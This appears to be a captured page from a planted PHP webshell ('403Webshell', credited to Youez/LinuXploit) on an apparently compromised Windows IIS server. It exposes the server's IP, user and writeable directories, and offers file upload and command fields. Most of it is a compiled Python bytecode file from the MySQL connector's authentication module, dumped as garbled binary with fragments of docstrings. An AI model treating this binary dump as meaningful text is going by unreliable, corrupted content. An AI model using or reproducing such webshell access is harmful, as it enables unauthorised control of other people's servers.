403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/mysql/connector/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/mysql/connector/__pycache__/authentication.cpython-312.pyc
�

��fO���dZddlmZddlZddlmZddlmZmZGd�de	�Z
Gd	�d
e
�ZGd�de
�ZGd
�de
�Z
d�Zy)z5Implementing support for MySQL Authentication Plugins�)�sha1N�)�errors)�PY2�isstrc�0�eZdZdZdZdZ		dd�Zd�Zd�Zy)	�BaseAuthPlugina�Base class for authentication plugins


    Classes inheriting from BaseAuthPlugin should implement the method
    prepare_password(). When instantiating, auth_data argument is
    required. The username, password and database are optional. The
    ssl_enabled argument can be used to tell the plugin whether SSL is
    active or not.

    The method auth_response() method is used to retrieve the password
    which was prepared by prepare_password().
    F�Nc�J�||_||_||_||_||_y)�InitializationN)�
_auth_data�	_username�	_password�	_database�_ssl_enabled)�self�	auth_data�username�password�database�ssl_enableds      �@C:\Python312\Lib\site-packages\mysql/connector/authentication.py�__init__zBaseAuthPlugin.__init__2s(��$���!���!���!���'���c��t�)z�Prepares and returns password to be send to MySQL

        This method needs to be implemented by classes inheriting from
        this class. It is used by the auth_response() method.

        Raises NotImplementedError.
        )�NotImplementedError�rs r�prepare_passwordzBaseAuthPlugin.prepare_password;s
��"�!rc��|jr;|js/tjdj	|j
����|j
�S)z�Returns the prepared password to send to MySQL

        Raises InterfaceError on errors. For example, when SSL is required
        by not enabled.

        Returns str
        z{name} requires SSL)�name)�requires_sslrr�InterfaceError�format�plugin_namerrs r�
auth_responsezBaseAuthPlugin.auth_responseEsT�����T�%6�%6��'�'�(=�(D�(D��%�%�)E�)'�(�
(��$�$�&�&r)NNNF)	�__name__�
__module__�__qualname__�__doc__r!r$rrr%�rrr	r	!s(����L��K�IM�"�(�"�'rr	c��eZdZdZdZdZd�Zy)�MySQLNativePasswordAuthPluginzBClass implementing the MySQL Native Password authentication pluginF�mysql_native_passwordc��|jstjd��|jsy|j}t	|j�r|jjd�}n|j}tr"t|�}	t|j�}n|}|j}d}	t|�j�}t|�j�}t||z�j�}tr4t||�D��cgc]\}}t|�t|�z��}	}}n!t||�D��cgc]
\}}||z��}	}}tjdg|	���}|S#t$rtjd��wxYwcc}}wcc}}w#t$r)}
tjdj!|
���d}
~
wwxYw)z;Prepares and returns password as native MySQL 4.1+ passwordz"Missing authentication data (seed)rzutf-8zAuthentication data incorrectN�20BzFailed scrambling password; {0})r
rr"rr�encoder�buffer�	TypeErrorr�digest�zip�ord�struct�pack�	Exceptionr#)rrr�hash4�hash1�hash2�hash3�h1�h3�xored�excs           rrz.MySQLNativePasswordAuthPlugin.prepare_passwordYs�������'�'�(L�M�M��~�~���>�>������ ��~�~�,�,�W�5�H��~�~�H���h�'�H�
M�"�4�?�?�3�	� �H����I���	?���N�)�)�+�E���K�&�&�(�E���U�*�+�2�2�4�E��;>�u�e�;L�M�x��B��R��3�r�7�*�M��M�14�U�E�1B�C�X�b�"��b��C��C��K�K��.��.�E�
���)�
M��+�+�,K�L�L�
M��N��C���	?��'�'�1�8�8��=�?�
?��	?�sC�
E2�1A#F �!F�5F �F�F �2F�F � 	G�)$G
�
GN�r&r'r(r)r!r$rr*rrr,r,Ss��L��L�)�K�&rr,c��eZdZdZdZdZd�Zy)�MySQLClearPasswordAuthPluginzAClass implementing the MySQL Clear Password authentication pluginT�mysql_clear_passwordc���|jsy|j}tr&t|t�r|j	d�}|dzSt|t
�r|j	d�}|dzS�z!Returns password as as clear text��utf8�rr�
isinstance�unicoder0�str�rrs  rrz-MySQLClearPasswordAuthPlugin.prepare_password��b���~�~���>�>����(�G�,�#�?�?�6�2���'�!�!���#�
&����v�.�H��'�!�!rNrAr*rrrCrC�s��K��L�(�K�"rrCc��eZdZdZdZdZd�Zy)�MySQLSHA256PasswordAuthPluginz�Class implementing the MySQL SHA256 authentication plugin

    Note that encrypting using RSA is not supported since the Python
    Standard Library does not provide this OpenSSL functionality.
    T�sha256_passwordc���|jsy|j}tr&t|t�r|j	d�}|dzSt|t
�r|j	d�}|dzSrFrIrMs  rrz.MySQLSHA256PasswordAuthPlugin.prepare_password�rNrNrAr*rrrPrP�s����L�#�K�"rrPc��tj�D]}|j|k(s�|cStjdj|���)a.Return authentication class based on plugin name

    This function returns the class for the authentication plugin plugin_name.
    The returned class is a subclass of BaseAuthPlugin.

    Raises errors.NotSupportedError when plugin_name is not supported.

    Returns subclass of BaseAuthPlugin.
    z,Authentication plugin '{0}' is not supported)r	�__subclasses__r$r�NotSupportedErrorr#)r$�	authclasss  r�get_auth_pluginrW�sU��$�2�2�4��	�� � �K�/�����
"�
"�6�=�=�k�J�L�Lr)r)�hashlibrr6r
r�catch23rr�objectr	r,rCrPrWr*rr�<module>r[sN��0<��
���/'�V�/'�d,�N�,�^"�>�"�*"�N�"�2Lr

Youez - 2016 - github.com/yon3zu
LinuXploit